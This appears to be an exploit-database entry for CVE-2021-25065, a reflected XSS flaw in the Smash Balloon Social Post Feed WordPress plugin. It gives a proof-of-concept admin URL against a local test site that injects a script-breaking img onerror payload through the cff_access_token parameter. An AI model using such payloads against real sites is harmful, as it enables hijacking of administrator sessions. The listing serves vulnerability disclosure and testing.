Exploit for Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting (XSS) CVE-2021-25065

Name: Exploit for Smash Balloon Social Post Feed < 4.1.1 - Authenticated Reflected Cross-Site Scripting (XSS) CVE-2021-25065
Rating: 5 (209 reviews)

2021-12-16 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:AE1AAB4E-B00A-458B-A176-85761655BDCC
http://127.0.0.1:8001/wp-admin/admin.php?page=cff-top&cff_access_token=xox%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%281%29%3E&cff_final_response=true